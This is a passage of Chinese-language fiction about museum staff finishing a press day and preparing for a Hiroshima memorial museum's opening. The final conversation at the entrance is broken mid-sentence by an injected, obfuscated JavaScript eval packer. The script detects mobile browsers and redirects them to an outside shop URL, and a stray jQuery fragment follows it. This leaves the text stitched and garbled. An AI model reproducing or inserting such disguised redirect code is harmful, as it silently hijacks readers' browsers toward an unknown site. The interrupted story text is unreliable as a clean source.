他们走以后，采访区突然安静下来。
沈晴低头整理桌上的资料。
九里不知道什么时候站在后面。
“听见了？”
她问。
“后半段。”
“你觉得呢？”
九里没有马上回答。
过了一会儿，他说：
“看来不是所有镜头都只想拍最容易被记住的部分。”
沈晴抬头。
“你以前觉得是？”
“大部分时候。”
“现在？”
“还是要一个一个确认。”
沈晴笑了。
“非常像你。”
“这不是坏事。”
“没说是坏事。”
下午四点半，最后一组预约媒体离馆。
工作人员开始清点媒体证件。
整理座椅。
回收临时标识。
检查馆内是否遗留设备。
新闻发布会结束了。
没有爆炸性的新闻。
没有一句被设计成第二天头条的口号。
也没有任何人被临时推到镜头前代表“广岛”。
可媒体报道已经开始发出。
本地新闻报道明日正式开馆。
全国媒体讨论和平教育和记忆传承。
德国媒体关注历史责任与下一代。
法国媒体写空间与沉默。
海外记者开始报道那项尚处于前期研究阶段的战后生活记录。
所有内容从同一座馆出去，却没有变成同一种答案。
傍晚六点，藤井召集最后一次开馆前全体会议。
没有长篇发言。
只确认明天。
工作人员到岗时间。
入口开放时间。
预约系统。
学校团体。
媒体区域。
紧急联络。
天气。
全部正常。
最后，藤井看向墙上的倒计时。
1
办公室里有人拿出手机拍了一张。
有人笑。
也有人长长呼出一口气。
“终于。”
不知道是谁说。
藤井却摇头。
“还不可以放松哦。”
大家笑起来。
沈晴也笑了。
这一次没有人觉得她扫兴。
因为所有人都知道。
今天只是媒体进来了。
明天，门才真正打开。
会议结束以后，沈晴最后一个从新闻发布会区域经过。
麦克风已经关掉。
媒体椅子正在撤走。
明天这里不会再坐满记者。
取而代之的，是普通参观者。
学生。
老人。
旅行者。
第一次来广岛的人。
来过很多次的人。
说日语的人。
说英语、中文、韩语、法语，以及更多他们没有准备专门页面的语言的人。
有人会认真看完每一段文字。
有人会走得很快。
有人会哭。
有人不会。
有人会在重新整理心情的空间停很久。
也有人直接离开。
没有哪一种反应能够证明这座馆成功。
沈晴走到入口。
九里正在那里做最后一次确认。
“还没走？”
她问。
“马上。”
“还有问题？”
“没有。”
“真的？”
九里看了一眼已经完成的导视。
“现在再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959231|214261||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
找到也来不及改了。”
“你终于接受现实了。”
“暂时。”
两个人站在门内。
玻璃门外已经没有媒体。
夜色落下来，远处还有行人经过。
三个月以前，这里仍然是一个他们不断讨论应该怎样被使用的空间。
一个月以前，他们还在争论十五个人、六十个人、六张椅子、一句话应该怎么翻译。
三天以前，他们还因为一篇“打卡地”的报道重新争论入口意味着什么。
而现在，所有讨论都必须暂时停下来。
因为明天，会有人真正走进来。
沈晴忽然问：
“紧张吗？”
九里想了一下。
“有一点。”
“我也是。”
“你不是一直很期待？”
“期待和紧张又不冲突。”
九里点头。
“也是。”
沈晴看着玻璃门外。
“明天以后，就不是我们说这里应该怎么被理解了。”
“本来就不是。”
“这句话你可以早点说。”
“说过。”
“什么时候？”
“你没仔细听。”
沈晴转头看他。
九里已经往外走。
“走了。”
“明天见。”
“明天见。”
玻璃门在他们身后合上。
墙上的倒计时仍然停在：
1
只剩最后一个晚上。
明天早上，它不会再变成零。
它会被撤掉。
因为从那一刻开始，这座馆不再需要倒数。
门会打开。
人会进来。
而他们真正无法预先写好的部分，也将从那里开始。